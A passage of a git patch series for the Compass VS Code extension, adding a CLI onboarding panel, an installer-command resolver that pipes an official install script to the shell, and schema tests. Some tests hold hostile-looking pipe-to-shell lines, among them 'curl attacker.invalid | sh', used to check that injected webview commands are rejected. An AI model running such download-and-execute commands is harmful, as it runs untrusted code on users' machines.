void } { + this.listeners.add(listener); + return { dispose: () => this.listeners.delete(listener) }; + } + + async activate(installation: CompassInstallation): Promise { + const sessions = this.dependencies.sessions(); + if (sessions.some((session) => session.activeWriter || session.watch)) { + throw new Error("Stop active Compass builds and watchers before changing the CLI."); + } + + const candidate = this.dependencies.createCandidateProcesses?.( + installation.executable + ) ?? new CompassProcessManager(installation.executable); + const cwd = sessions[0]?.root ?? process.cwd(); + const capabilities = await candidate.runJson( + cwd, + ["capabilities", "--format", "json"], + CapabilityReportSchema + ); + const issue = Object.values(COMPASS_REQUIREMENTS) + .map((requirement) => compatibilityIssue(capabilities, undefined, requirement)) + .find((value) => value !== undefined); + if (issue) throw new Error(issue); + + const activatedInstallation: CompassInstallation = { + ...installation, + version: installation.version ?? capabilities.compass_version + }; + await this.dependencies.persistCliPath(activatedInstallation.executable); + this.dependencies.processes.useExecutable(activatedInstallation.executable); + for (const session of sessions) { + session.capabilities = capabilities; + session.capabilityError = undefined; + } + this.current = activeDiscovery(activatedInstallation, this.current); + for (const listener of this.listeners) listener(); + return { installation: activatedInstallation, capabilities }; + } +} + +function activeDiscovery( + installation: CompassInstallation, + previous: CompassDiscovery +): CompassDiscovery { + const installations = [ + installation, + ...previous.installations.filter( + (candidate) => candidate.executable !== installation.executable + ) + ]; + return { + kind: "found", + executable: installation.executable, + ...(installation.version ? { version: installation.version } : {}), + installations, + searched: previous.searched + }; +} diff --git a/editors/vscode/src/extension.ts b/editors/vscode/src/extension.ts index 2511c946..653ab602 100644 --- a/editors/vscode/src/extension.ts +++ b/editors/vscode/src/extension.ts @@ -55,7 +55,7 @@ export async function activate(context: vscode.ExtensionContext): Promise })); } - const workspaceTree = new WorkspaceTree(registry, discovery); + const workspaceTree = new WorkspaceTree(registry, () => discovery); const statusBar = createCompassStatusBar(context, registry); const refresh = async () => { await registry.refresh(); diff --git a/editors/vscode/src/views/workspaceTree.ts b/editors/vscode/src/views/workspaceTree.ts index 36908f31..2d4e20d2 100644 --- a/editors/vscode/src/views/workspaceTree.ts +++ b/editors/vscode/src/views/workspaceTree.ts @@ -10,7 +10,7 @@ export class WorkspaceTree implements vscode.TreeDataProvider { constructor( private readonly registry: SessionRegistry, - private readonly discovery: CompassDiscovery + private readonly discovery: () => CompassDiscovery ) {} refresh(): void { @@ -23,6 +23,6 @@ export class WorkspaceTree implements vscode.TreeDataProvider { getChildren(node?: TreeNode): TreeNode[] { if (node) return node.children ?? []; - return buildWorkspaceTree(this.discovery, this.registry.all()); + return buildWorkspaceTree(this.discovery(), this.registry.all()); } } From c7fec8d2a49abc1041ca28db5f3f42cf9d5249f7 Mon Sep 17 00:00:00 2001 From: forhappy Date: Mon, 27 Jul 2026 22:05:54 -0700 Subject: [PATCH 08/25] feat(viewer): add Compass CLI onboarding states --- packages/compass-viewer/src/index.ts | 1 + packages/compass-viewer/src/onboarding.css | 191 +++++++++++++ .../src/onboarding/CliOnboarding.test.tsx | 132 +++++++++ .../src/onboarding/CliOnboarding.tsx | 250 ++++++++++++++++++ packages/compass-viewer/src/theme.css | 1 + 5 files changed, 575 insertions(+) create mode 100644 packages/compass-viewer/src/onboarding.css create mode 100644 packages/compass-viewer/src/onboarding/CliOnboarding.test.tsx create mode 100644 packages/compass-viewer/src/onboarding/CliOnboarding.tsx diff --git a/packages/compass-viewer/src/index.ts b/packages/compass-viewer/src/index.ts index 93ad98d8..f60ddda2 100644 --- a/packages/compass-viewer/src/index.ts +++ b/packages/compass-viewer/src/index.ts @@ -14,6 +14,7 @@ export * from "./history/HistoryWorkspace"; export * from "./history/ComparisonOverlay"; export * from "./history/state"; export * from "./initialize/InitializationWizard"; +export * from "./onboarding/CliOnboarding"; export * from "./architecture/ArchitectureFlow"; export * from "./lib/collectionView"; export * from "./components/workbench/CollectionToolbar"; diff --git a/packages/compass-viewer/src/onboarding.css b/packages/compass-viewer/src/onboarding.css new file mode 100644 index 00000000..d665455b --- /dev/null +++ b/packages/compass-viewer/src/onboarding.css @@ -0,0 +1,191 @@ +.cli-onboarding-shell { + display: grid; + place-items: center; +} + +.cli-onboarding-card { + width: min(720px, 100%); +} + +.cli-onboarding-card > .init-result-icon > svg { + width: 26px; + height: 26px; +} + +.cli-onboarding-spinner { + animation: cli-onboarding-spin 1.1s linear infinite; +} + +.cli-onboarding-assurance { + display: flex; + max-width: 610px; + align-items: flex-start; + gap: 12px; + margin-top: 24px; + padding: 14px; + border: 1px solid var(--compass-line); + border-radius: 6px; + background: color-mix(in srgb, var(--compass-focus) 7%, transparent); +} + +.cli-onboarding-assurance > svg { + width: 18px; + flex: 0 0 18px; + color: var(--compass-focus); +} + +.cli-onboarding-assurance strong, +.cli-onboarding-assurance small { + display: block; +} + +.cli-onboarding-assurance strong { + margin-bottom: 4px; + color: var(--foreground); + font-size: 12px; +} + +.cli-onboarding-assurance small { + color: var(--muted-foreground); + font-size: 11px; + line-height: 1.5; +} + +.cli-onboarding-command { + max-width: 100%; + margin-top: 24px; +} + +.cli-onboarding-command > span, +.cli-onboarding-searched > strong, +.cli-onboarding-facts dt { + color: var(--compass-faint); + font: 600 10px/1.3 var(--compass-font-mono); + letter-spacing: 0.07em; + text-transform: uppercase; +} + +.cli-onboarding-command pre { + overflow: auto; + margin: 7px 0 0; + padding: 14px; + border: 1px solid var(--compass-line-strong); + border-radius: 5px; + background: var(--vscode-textCodeBlock-background, var(--background)); + color: var(--foreground); + font: 11px/1.65 var(--compass-font-mono); + white-space: pre-wrap; + overflow-wrap: anywhere; +} + +.cli-onboarding-actions { + flex-wrap: wrap; +} + +.cli-onboarding-facts { + display: grid; + width: 100%; + margin: 24px 0 0; + grid-template-columns: 110px minmax(0, 1fr); + border: 1px solid var(--compass-line); + border-radius: 5px; +} + +.cli-onboarding-facts div { + display: contents; +} + +.cli-onboarding-facts dt, +.cli-onboarding-facts dd { + margin: 0; + padding: 11px 13px; + border-bottom: 1px solid var(--compass-line); +} + +.cli-onboarding-facts div:last-child dt, +.cli-onboarding-facts div:last-child dd { + border-bottom: 0; +} + +.cli-onboarding-facts dd { + overflow: hidden; + color: var(--foreground); + font: 11px/1.4 var(--compass-font-mono); + text-overflow: ellipsis; + white-space: nowrap; +} + +.cli-onboarding-searched { + width: 100%; + margin-top: 22px; +} + +.cli-onboarding-searched ul { + max-height: 150px; + overflow: auto; + margin: 8px 0 0; + padding: 10px 10px 10px 30px; + border: 1px solid var(--compass-line); + border-radius: 5px; + background: var(--vscode-textCodeBlock-background, var(--background)); +} + +.cli-onboarding-searched li { + padding: 3px 0; + color: var(--muted-foreground); + font-size: 10px; +} + +.cli-onboarding-searched code { + overflow-wrap: anywhere; +} + +.cli-onboarding-platform { + font-family: var(--compass-font-mono); +} + +@keyframes cli-onboarding-spin { + to { + transform: rotate(360deg); + } +} + +@media (max-width: 520px) { + .cli-onboarding-shell { + padding: 22px 16px; + } + + .cli-onboarding-facts { + grid-template-columns: 1fr; + } + + .cli-onboarding-facts div { + display: block; + } + + .cli-onboarding-facts dt { + padding-bottom: 3px; + border-bottom: 0; + } + + .cli-onboarding-facts dd { + padding-top: 3px; + white-space: normal; + overflow-wrap: anywhere; + } + + .cli-onboarding-actions { + align-items: stretch; + } + + .cli-onboarding-actions .init-button { + width: 100%; + justify-content: center; + } +} + +@media (prefers-reduced-motion: reduce) { + .cli-onboarding-spinner { + animation: none; + } +} diff --git a/packages/compass-viewer/src/onboarding/CliOnboarding.test.tsx b/packages/compass-viewer/src/onboarding/CliOnboarding.test.tsx new file mode 100644 index 00000000..66500eb9 --- /dev/null +++ b/packages/compass-viewer/src/onboarding/CliOnboarding.test.tsx @@ -0,0 +1,132 @@ +import { flushSync } from "react-dom"; +import { createRoot } from "react-dom/client"; +import { describe, expect, it, vi } from "vitest"; +import { + CliOnboarding, + type CliOnboardingHost, + type CliOnboardingState +} from "./CliOnboarding"; + +function host(): CliOnboardingHost { + return { + install: vi.fn(), + verifyAgain: vi.fn(), + selectExisting: vi.fn(), + initializeRepository: vi.fn(), + openRepository: vi.fn(), + showTerminal: vi.fn() + }; +} + +function render(state: CliOnboardingState, onboardingHost = host()) { + const container = document.createElement("div"); + const root = createRoot(container); + flushSync(() => root.render( + + )); + return { container, root, host: onboardingHost }; +} + +function button(container: HTMLElement, label: string): HTMLButtonElement { + const match = Array.from(container.querySelectorAll("button")) + .find((candidate) => candidate.textContent?.trim() === label); + if (!match) throw new Error(`button ${label} not found`); + return match; +} + +describe("CliOnboarding", () => { + it("shows the exact command before running the installer", () => { + const command = "curl https://example.invalid/install.sh | sh"; + const mounted = render({ + kind: "ready-to-install", + platform: "macOS", + command + }); + + expect(mounted.container.textContent).toContain(command); + flushSync(() => button(mounted.container, "Install Compass").click()); + expect(mounted.host.install).toHaveBeenCalledOnce(); + expect(mounted.container.querySelectorAll("button")).toHaveLength(2); + mounted.root.unmount(); + }); + + it("announces installation and verification without another install action", () => { + for (const state of [ + { + kind: "installing" as const, + platform: "Linux", + command: "curl https://example.invalid/install.sh | sh" + }, + { kind: "verifying" as const } + ]) { + const mounted = render(state); + expect(mounted.container.querySelector('[role="status"]')).not.toBeNull(); + expect(mounted.container.textContent).not.toContain("Install Compass"); + expect(button(mounted.container, "View terminal")).not.toBeNull(); + mounted.root.unmount(); + } + }); + + it("continues to initialization when a workspace is open", () => { + const mounted = render({ + kind: "ready", + version: "0.1.7", + executable: "/home/dev/.local/bin/compass", + hasWorkspace: true + }); + + expect(mounted.container.textContent).toContain("Compass is ready"); + expect(mounted.container.textContent).toContain("/home/dev/.local/bin/compass"); + flushSync(() => button(mounted.container, "Initialize repository").click()); + expect(mounted.host.initializeRepository).toHaveBeenCalledOnce(); + mounted.root.unmount(); + }); + + it("opens a folder when installation finishes without a workspace", () => { + const mounted = render({ + kind: "ready", + version: "0.1.7", + executable: "C:\\Users\\dev\\.local\\bin\\compass.exe", + hasWorkspace: false + }); + + flushSync(() => button(mounted.container, "Open repository folder").click()); + expect(mounted.host.openRepository).toHaveBeenCalledOnce(); + mounted.root.unmount(); + }); + + it("keeps bounded recovery actions and searched locations visible", () => { + const mounted = render({ + kind: "error", + title: "Compass was not found", + message: "The installer finished but verification could not find Compass.", + searched: ["/usr/bin/compass", "/home/dev/.local/bin/compass"], + canVerifyAgain: true + }); + + expect(mounted.container.querySelector('[role="alert"]')?.textContent) + .toContain("verification"); + expect(mounted.container.textContent).toContain("/usr/bin/compass"); + flushSync(() => button(mounted.container, "Verify again").click()); + flushSync(() => button(mounted.container, "View terminal").click()); + flushSync(() => button(mounted.container, "Select an existing CLI").click()); + expect(mounted.host.verifyAgain).toHaveBeenCalledOnce(); + expect(mounted.host.showTerminal).toHaveBeenCalledOnce(); + expect(mounted.host.selectExisting).toHaveBeenCalledOnce(); + mounted.root.unmount(); + }); + + it("does not offer automatic installation on an unsupported host", () => { + const mounted = render({ + kind: "unsupported", + platform: "freebsd", + message: "Install Compass from a release archive." + }); + + expect(Array.from(mounted.container.querySelectorAll("button")) + .some((candidate) => candidate.textContent?.trim() === "Install Compass")) + .toBe(false); + expect(button(mounted.container, "Select an existing CLI")).not.toBeNull(); + mounted.root.unmount(); + }); +}); diff --git a/packages/compass-viewer/src/onboarding/CliOnboarding.tsx b/packages/compass-viewer/src/onboarding/CliOnboarding.tsx new file mode 100644 index 00000000..2f1943f4 --- /dev/null +++ b/packages/compass-viewer/src/onboarding/CliOnboarding.tsx @@ -0,0 +1,250 @@ +import { + AlertTriangle, + ArrowRight, + CheckCircle2, + CloudDownload, + FolderOpen, + LoaderCircle, + Map, + Search, + SquareTerminal +} from "lucide-react"; +import type { ReactNode } from "react"; + +export type CliOnboardingState = + | { + kind: "ready-to-install"; + platform: string; + command: string; + } + | { + kind: "installing"; + platform: string; + command: string; + } + | { kind: "verifying" } + | { + kind: "ready"; + version: string; + executable: string; + hasWorkspace: boolean; + } + | { + kind: "error"; + title: string; + message: string; + searched?: string[]; + canVerifyAgain: boolean; + } + | { + kind: "unsupported"; + platform: string; + message: string; + }; + +export type CliOnboardingHost = { + install(): void; + verifyAgain(): void; + selectExisting(): void; + initializeRepository(): void; + openRepository(): void; + showTerminal(): void; +}; + +type Props = { + state: CliOnboardingState; + host: CliOnboardingHost; +}; + +export function CliOnboarding({ state, host }: Props) { + if (state.kind === "installing") { + return ( + }> +

Compass setup

+

Installing Compass…

+

+ The official installer is running in the visible Compass Setup terminal. +

+ + + + +
+ ); + } + + if (state.kind === "verifying") { + return ( + }> +

Compass setup

+

Verifying installation…

+

+ Checking the executable, version, and capabilities required by this extension. +

+ + + +
+ ); + } + + if (state.kind === "ready") { + return ( + } success> +

Installation complete

+

Compass is ready

+

Compass {state.version} is verified and active in this VS Code window.

+
+
+
Version
+
{state.version}
+
+
+
Executable
+
{state.executable}
+
+
+ + {state.hasWorkspace ? ( + + ) : ( + + )} + +
+ ); + } + + if (state.kind === "error") { + return ( + }> +

Setup stopped

+

{state.title}

+

{state.message}

+ {state.searched && state.searched.length > 0 && ( +
+ Searched locations +
    + {state.searched.map((location) => ( +
  • {location}
  • + ))} +
+
+ )} + + {state.canVerifyAgain && ( + + )} + + + +
+ ); + } + + if (state.kind === "unsupported") { + return ( + }> +

Compass setup

+

Automatic installation is unavailable

+

{state.message}

+

Workspace host: {state.platform}

+ + + +
+ ); + } + + return ( + }> +

Compass for VS Code

+

Get started with Compass

+

+ Install the local Compass CLI to map this codebase. The extension does not + bundle a native executable or send telemetry. +

+
+
+ + + + + +
+ ); +} + +function OnboardingCard({ + children, + icon, + success = false +}: { + children: ReactNode; + icon: ReactNode; + success?: boolean; +}) { + return ( +
+
+ + {children} +
+
+ ); +} + +function Command({ command, platform }: { command: string; platform: string }) { + return ( +
+ Command for {platform} +
{command}
+
+ ); +} + +function Actions({ children }: { children: ReactNode }) { + return
{children}
; +} diff --git a/packages/compass-viewer/src/theme.css b/packages/compass-viewer/src/theme.css index 883cd92d..4c76e59d 100644 --- a/packages/compass-viewer/src/theme.css +++ b/packages/compass-viewer/src/theme.css @@ -1,6 +1,7 @@ @import "tailwindcss"; @import "tw-animate-css"; @import "./initialize.css"; +@import "./onboarding.css"; @custom-variant dark (&:is(.dark *)); From ebf719051f4d3191f837d0c31c33a2b97e3c95c8 Mon Sep 17 00:00:00 2001 From: forhappy Date: Mon, 27 Jul 2026 22:08:49 -0700 Subject: [PATCH 09/25] feat(vscode): install Compass in the integrated terminal --- editors/vscode/esbuild.mjs | 3 +- editors/vscode/src/install/command.test.ts | 71 ++++ editors/vscode/src/install/command.ts | 105 ++++++ editors/vscode/src/install/messages.test.ts | 76 +++++ editors/vscode/src/install/messages.ts | 55 +++ .../vscode/src/views/cliOnboardingPanel.ts | 313 ++++++++++++++++++ editors/vscode/src/webviews/onboarding.tsx | 37 +++ .../src/onboarding/CliOnboarding.tsx | 2 +- 8 files changed, 660 insertions(+), 2 deletions(-) create mode 100644 editors/vscode/src/install/command.test.ts create mode 100644 editors/vscode/src/install/command.ts create mode 100644 editors/vscode/src/install/messages.test.ts create mode 100644 editors/vscode/src/install/messages.ts create mode 100644 editors/vscode/src/views/cliOnboardingPanel.ts create mode 100644 editors/vscode/src/webviews/onboarding.tsx diff --git a/editors/vscode/esbuild.mjs b/editors/vscode/esbuild.mjs index 8e01c58c..bcb47b8b 100644 --- a/editors/vscode/esbuild.mjs +++ b/editors/vscode/esbuild.mjs @@ -64,7 +64,8 @@ const builds = [ architecture: "src/webviews/architecture.tsx", query: "src/webviews/query.tsx", history: "src/webviews/history.tsx", - initialize: "src/webviews/initialize.tsx" + initialize: "src/webviews/initialize.tsx", + onboarding: "src/webviews/onboarding.tsx" }, outdir: "dist/webviews", format: "iife", diff --git a/editors/vscode/src/install/command.test.ts b/editors/vscode/src/install/command.test.ts new file mode 100644 index 00000000..73f5d7c8 --- /dev/null +++ b/editors/vscode/src/install/command.test.ts @@ -0,0 +1,71 @@ +import { describe, expect, it, vi } from "vitest"; +import { resolveInstallCommand } from "./command"; + +describe("resolveInstallCommand", () => { + it.each([ + ["darwin", "macOS"], + ["linux", "Linux"] + ] as const)("returns the official shell installer for %s", async (platform, label) => { + await expect(resolveInstallCommand(platform)).resolves.toEqual({ + kind: "supported", + platformLabel: label, + command: + "curl --proto '=https' --tlsv1.2 -LsSf " + + "https://github.com/crabbuild/compass/releases/latest/download/install.sh | sh" + }); + }); + + it("prefers PowerShell 7 on Windows", async () => { + const canExecute = vi.fn(async (candidate: string) => + candidate === "C:\\Tools\\pwsh.exe" + ); + + const result = await resolveInstallCommand( + "win32", + { PATH: "C:\\Tools;C:\\Windows\\System32", SystemRoot: "C:\\Windows" }, + canExecute + ); + + expect(result).toMatchObject({ + kind: "supported", + platformLabel: "Windows", + shellPath: "C:\\Tools\\pwsh.exe" + }); + expect(result.kind === "supported" ? result.command : "") + .toContain("install.ps1"); + expect(canExecute.mock.calls[0]?.[0]).toBe("C:\\Tools\\pwsh.exe"); + }); + + it("falls back to in-box Windows PowerShell", async () => { + const expected = + "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"; + const result = await resolveInstallCommand( + "win32", + { PATH: "", SystemRoot: "C:\\Windows" }, + async (candidate) => candidate === expected + ); + + expect(result).toMatchObject({ + kind: "supported", + shellPath: expected + }); + }); + + it("does not run an unknown shell when PowerShell is unavailable", async () => { + await expect(resolveInstallCommand( + "win32", + { PATH: "" }, + async () => false + )).resolves.toMatchObject({ + kind: "unsupported", + platformLabel: "Windows" + }); + }); + + it("returns manual guidance for unsupported hosts", async () => { + await expect(resolveInstallCommand("freebsd")).resolves.toMatchObject({ + kind: "unsupported", + platformLabel: "freebsd" + }); + }); +}); diff --git a/editors/vscode/src/install/command.ts b/editors/vscode/src/install/command.ts new file mode 100644 index 00000000..0830efcb --- /dev/null +++ b/editors/vscode/src/install/command.ts @@ -0,0 +1,105 @@ +import { constants } from "node:fs"; +import { access } from "node:fs/promises"; +import path from "node:path"; + +export type InstallCommand = + | { + kind: "supported"; + platformLabel: string; + command: string; + shellPath?: string; + } + | { + kind: "unsupported"; + platformLabel: string; + message: string; + }; + +type CanExecute = (executable: string) => Promise; + +const POSIX_INSTALL = + "curl --proto '=https' --tlsv1.2 -LsSf " + + "https://github.com/crabbuild/compass/releases/latest/download/install.sh | sh"; +const WINDOWS_INSTALL = + "Invoke-RestMethod " + + "'https://github.com/crabbuild/compass/releases/latest/download/install.ps1' " + + "| Invoke-Expression"; + +export async function resolveInstallCommand( + platform: NodeJS.Platform = process.platform, + environment: NodeJS.ProcessEnv = process.env, + canExecute: CanExecute = executableAvailable +): Promise { + if (platform === "darwin") { + return { kind: "supported", platformLabel: "macOS", command: POSIX_INSTALL }; + } + if (platform === "linux") { + return { kind: "supported", platformLabel: "Linux", command: POSIX_INSTALL }; + } + if (platform !== "win32") { + return { + kind: "unsupported", + platformLabel: platform, + message: "Install Compass from a supported release archive, then select the executable." + }; + } + + for (const candidate of powershellCandidates(environment)) { + if (await canExecute(candidate)) { + return { + kind: "supported", + platformLabel: "Windows", + command: WINDOWS_INSTALL, + shellPath: candidate + }; + } + } + return { + kind: "unsupported", + platformLabel: "Windows", + message: "PowerShell was not found. Install Compass from a release archive, then select compass.exe." + }; +} + +function powershellCandidates(environment: NodeJS.ProcessEnv): string[] { + const windowsPath = path.win32; + const pathValue = environment.PATH ?? environment.Path ?? ""; + const directories = pathValue.split(windowsPath.delimiter).filter(Boolean); + return deduplicateWindowsPaths([ + ...directories.map((directory) => windowsPath.join(directory, "pwsh.exe")), + ...(environment.ProgramFiles + ? [windowsPath.join(environment.ProgramFiles, "PowerShell", "7", "pwsh.exe")] + : []), + ...directories.map((directory) => windowsPath.join(directory, "powershell.exe")), + ...(environment.SystemRoot + ? [ + windowsPath.join( + environment.SystemRoot, + "System32", + "WindowsPowerShell", + "v1.0", + "powershell.exe" + ) + ] + : []) + ]); +} + +function deduplicateWindowsPaths(candidates: string[]): string[] { + const seen = new Set(); + return candidates.filter((candidate) => { + const key = candidate.toLocaleLowerCase(); + if (seen.has(key)) return false; + seen.add(key); + return true; + }); +} + +async function executableAvailable(executable: string): Promise { + try { + await access(executable, constants.X_OK); + return true; + } catch { + return false; + } +} diff --git a/editors/vscode/src/install/messages.test.ts b/editors/vscode/src/install/messages.test.ts new file mode 100644 index 00000000..1c7e5aec --- /dev/null +++ b/editors/vscode/src/install/messages.test.ts @@ -0,0 +1,76 @@ +import { describe, expect, it } from "vitest"; +import { + HostToOnboardingMessageSchema, + OnboardingToHostMessageSchema +} from "./messages"; + +describe("onboarding messages", () => { + it("accepts only action-only webview intents", () => { + for (const type of [ + "ready", + "install", + "verifyAgain", + "selectExisting", + "initializeRepository", + "openRepository", + "showTerminal" + ]) { + expect(OnboardingToHostMessageSchema.safeParse({ type }).success).toBe(true); + } + expect(OnboardingToHostMessageSchema.safeParse({ + type: "install", + command: "curl attacker.invalid | sh" + }).success).toBe(false); + expect(OnboardingToHostMessageSchema.safeParse({ + type: "install", + url: "https://attacker.invalid" + }).success).toBe(false); + }); + + it("accepts every bounded host state", () => { + for (const state of [ + { kind: "ready-to-install", platform: "macOS", command: "install" }, + { kind: "installing", platform: "Linux", command: "install" }, + { kind: "verifying" }, + { + kind: "ready", + version: "0.1.7", + executable: "/bin/compass", + hasWorkspace: true + }, + { + kind: "error", + title: "Failed", + message: "No executable", + searched: ["/bin/compass"], + canVerifyAgain: true + }, + { kind: "unsupported", platform: "freebsd", message: "Use an archive" } + ]) { + expect(HostToOnboardingMessageSchema.safeParse({ + type: "state", + state + }).success).toBe(true); + } + }); + + it("rejects oversized and open-ended state payloads", () => { + expect(HostToOnboardingMessageSchema.safeParse({ + type: "state", + state: { + kind: "error", + title: "Failed", + message: "x".repeat(8193), + searched: [], + canVerifyAgain: true + } + }).success).toBe(false); + expect(HostToOnboardingMessageSchema.safeParse({ + type: "state", + state: { + kind: "verifying", + command: "not allowed" + } + }).success).toBe(false); + }); +}); diff --git a/editors/vscode/src/install/messages.ts b/editors/vscode/src/install/messages.ts new file mode 100644 index 00000000..f73dda18 --- /dev/null +++ b/editors/vscode/src/install/messages.ts @@ -0,0 +1,55 @@ +import type { CliOnboardingState } from "@compass/viewer"; +import { z } from "zod"; + +const BoundedText = z.string().max(8192); +const StateSchema = z.discriminatedUnion("kind", [ + z.object({ + kind: z.literal("ready-to-install"), + platform: BoundedText, + command: BoundedText + }).strict(), + z.object({ + kind: z.literal("installing"), + platform: BoundedText, + command: BoundedText + }).strict(), + z.object({ kind: z.literal("verifying") }).strict(), + z.object({ + kind: z.literal("ready"), + version: BoundedText, + executable: BoundedText, + hasWorkspace: z.boolean() + }).strict(), + z.object({ + kind: z.literal("error"), + title: BoundedText, + message: BoundedText, + searched: z.array(BoundedText).max(256).optional(), + canVerifyAgain: z.boolean() + }).strict(), + z.object({ + kind: z.literal("unsupported"), + platform: BoundedText, + message: BoundedText + }).strict() +]); + +export const OnboardingToHostMessageSchema = z.discriminatedUnion("type", [ + z.object({ type: z.literal("ready") }).strict(), + z.object({ type: z.literal("install") }).strict(), + z.object({ type: z.literal("verifyAgain") }).strict(), + z.object({ type: z.literal("selectExisting") }).strict(), + z.object({ type: z.literal("initializeRepository") }).strict(), + z.object({ type: z.literal("openRepository") }).strict(), + z.object({ type: z.literal("showTerminal") }).strict() +]); + +export const HostToOnboardingMessageSchema = z.object({ + type: z.literal("state"), + state: StateSchema +}).strict(); + +export type HostToOnboardingMessage = { + type: "state"; + state: CliOnboardingState; +}; diff --git a/editors/vscode/src/views/cliOnboardingPanel.ts b/editors/vscode/src/views/cliOnboardingPanel.ts new file mode 100644 index 00000000..db3a4e97 --- /dev/null +++ b/editors/vscode/src/views/cliOnboardingPanel.ts @@ -0,0 +1,313 @@ +import { randomUUID } from "node:crypto"; +import * as vscode from "vscode"; +import type { CliOnboardingState } from "@compass/viewer"; +import type { CompassDiscovery, CompassInstallation } from "../cli/discovery"; +import type { CompassRuntime } from "../cli/runtime"; +import type { InstallCommand } from "../install/command"; +import { + OnboardingToHostMessageSchema, + type HostToOnboardingMessage +} from "../install/messages"; + +export type CliOnboardingDependencies = { + runtime: CompassRuntime; + selectExisting(): Promise; + initializeRepository(): Promise; + refresh(): Promise; + discover(): Promise; + resolveCommand(): Promise; + pollIntervalMs?: number; + pollTimeoutMs?: number; +}; + +let currentPanel: vscode.WebviewPanel | undefined; +let currentTerminal: vscode.Terminal | undefined; + +export async function openCliOnboardingPanel( + context: vscode.ExtensionContext, + dependencies: CliOnboardingDependencies +): Promise { + if (currentPanel) { + currentPanel.reveal(vscode.ViewColumn.Active); + return; + } + + const command = await dependencies.resolveCommand(); + const panel = vscode.window.createWebviewPanel( + "compass.onboarding", + "Get started with Compass", + vscode.ViewColumn.Active, + { + enableScripts: true, + retainContextWhenHidden: true, + localResourceRoots: [vscode.Uri.joinPath(context.extensionUri, "dist")] + } + ); + currentPanel = panel; + panel.webview.html = html(context, panel.webview); + let disposed = false; + let executionId = 0; + let state = initialState(command, dependencies.runtime.discovery); + const disposables: vscode.Disposable[] = []; + const postState = async (next: CliOnboardingState): Promise => { + state = next; + if (disposed) return; + const message: HostToOnboardingMessage = { type: "state", state }; + await panel.webview.postMessage(message); + }; + + const verify = async (searchedFallback: readonly string[] = []): Promise => { + await postState({ kind: "verifying" }); + const discovery = await dependencies.discover(); + if (discovery.kind === "missing") { + await postState({ + kind: "error", + title: "Compass was not found", + message: "The installer finished, but Compass was not found in a configured, PATH, or common install location.", + searched: discovery.searched.length > 0 + ? discovery.searched + : [...searchedFallback], + canVerifyAgain: true + }); + return false; + } + try { + const installation = activeInstallation(discovery); + const activated = await dependencies.runtime.activate(installation); + await dependencies.refresh(); + await postState({ + kind: "ready", + version: activated.installation.version + ?? activated.capabilities.compass_version, + executable: activated.installation.executable, + hasWorkspace: (vscode.workspace.workspaceFolders?.length ?? 0) > 0 + }); + return true; + } catch (error) { + await postState({ + kind: "error", + title: "Compass is not compatible", + message: errorMessage(error), + canVerifyAgain: true + }); + return false; + } + }; + + const pollForInstallation = async (run: number): Promise => { + const interval = dependencies.pollIntervalMs ?? 750; + const timeout = dependencies.pollTimeoutMs ?? 120_000; + const started = Date.now(); + while (!disposed && run === executionId && Date.now() - started < timeout) { + const discovery = await dependencies.discover(); + if (discovery.kind === "found") { + await verify(discovery.searched); + return; + } + await delay(interval); + } + if (!disposed && run === executionId) { + await postState({ + kind: "error", + title: "Installation could not be verified", + message: "Compass did not appear before verification timed out. Review the terminal output, then try again.", + canVerifyAgain: true + }); + } + }; + + const install = async (): Promise => { + if (command.kind !== "supported" || state.kind === "installing") return; + const run = ++executionId; + await postState({ + kind: "installing", + platform: command.platformLabel, + command: command.command + }); + const terminal = vscode.window.createTerminal({ + name: "Compass Setup", + ...(command.shellPath ? { shellPath: command.shellPath } : {}) + }); + currentTerminal = terminal; + terminal.show(false); + const integration = await waitForShellIntegration(terminal, 1_500); + if (disposed || run !== executionId) return; + if (!integration) { + terminal.sendText(command.command, true); + await pollForInstallation(run); + return; + } + + const execution = integration.executeCommand(command.command); + const exitCode = await waitForExecution(terminal, execution); + if (disposed || run !== executionId) return; + if (exitCode !== 0) { + await postState({ + kind: "error", + title: "Installation failed", + message: exitCode === undefined + ? "The terminal stopped before the installer reported an exit code." + : `The installer exited with code ${exitCode}. Review the terminal output, then try again.`, + canVerifyAgain: false + }); + return; + } + await verify(); + }; + + disposables.push( + panel.webview.onDidReceiveMessage(async (raw) => { + const parsed = OnboardingToHostMessageSchema.safeParse(raw); + if (!parsed.success) return; + switch (parsed.data.type) { + case "ready": + await postState(state); + break; + case "install": + await install(); + break; + case "verifyAgain": + await verify(); + break; + case "selectExisting": + await dependencies.selectExisting(); + if (dependencies.runtime.discovery.kind === "found") { + const active = dependencies.runtime.discovery; + await postState({ + kind: "ready", + version: active.version ?? "version unavailable", + executable: active.executable, + hasWorkspace: (vscode.workspace.workspaceFolders?.length ?? 0) > 0 + }); + } + break; + case "initializeRepository": + await dependencies.initializeRepository(); + break; + case "openRepository": + await vscode.commands.executeCommand("vscode.openFolder"); + break; + case "showTerminal": + currentTerminal?.show(false); + break; + } + }), + vscode.window.onDidCloseTerminal((terminal) => { + if (terminal !== currentTerminal) return; + currentTerminal = undefined; + if (state.kind === "installing") { + executionId += 1; + void postState({ + kind: "error", + title: "Installation stopped", + message: "The Compass Setup terminal closed before installation could be verified.", + canVerifyAgain: true + }); + } + }), + panel.onDidDispose(() => { + disposed = true; + executionId += 1; + currentPanel = undefined; + for (const disposable of disposables) disposable.dispose(); + }) + ); +} + +function initialState( + command: InstallCommand, + discovery: CompassDiscovery +): CliOnboardingState { + if (discovery.kind === "found") { + return { + kind: "ready", + version: discovery.version ?? "version unavailable", + executable: discovery.executable, + hasWorkspace: (vscode.workspace.workspaceFolders?.length ?? 0) > 0 + }; + } + return command.kind === "supported" + ? { + kind: "ready-to-install", + platform: command.platformLabel, + command: command.command + } + : { + kind: "unsupported", + platform: command.platformLabel, + message: command.message + }; +} + +function activeInstallation(discovery: Extract) + : CompassInstallation { + return discovery.installations.find( + (installation) => installation.executable === discovery.executable + ) ?? { + executable: discovery.executable, + ...(discovery.version ? { version: discovery.version } : {}), + source: "configured" + }; +} + +function waitForShellIntegration( + terminal: vscode.Terminal, + timeoutMs: number +): Promise { + if (terminal.shellIntegration) return Promise.resolve(terminal.shellIntegration); + return new Promise((resolve) => { + const timer = setTimeout(() => { + disposable.dispose(); + resolve(undefined); + }, timeoutMs); + const disposable = vscode.window.onDidChangeTerminalShellIntegration((event) => { + if (event.terminal !== terminal) return; + clearTimeout(timer); + disposable.dispose(); + resolve(event.shellIntegration); + }); + }); +} + +function waitForExecution( + terminal: vscode.Terminal, + execution: vscode.TerminalShellExecution +): Promise { + return new Promise((resolve) 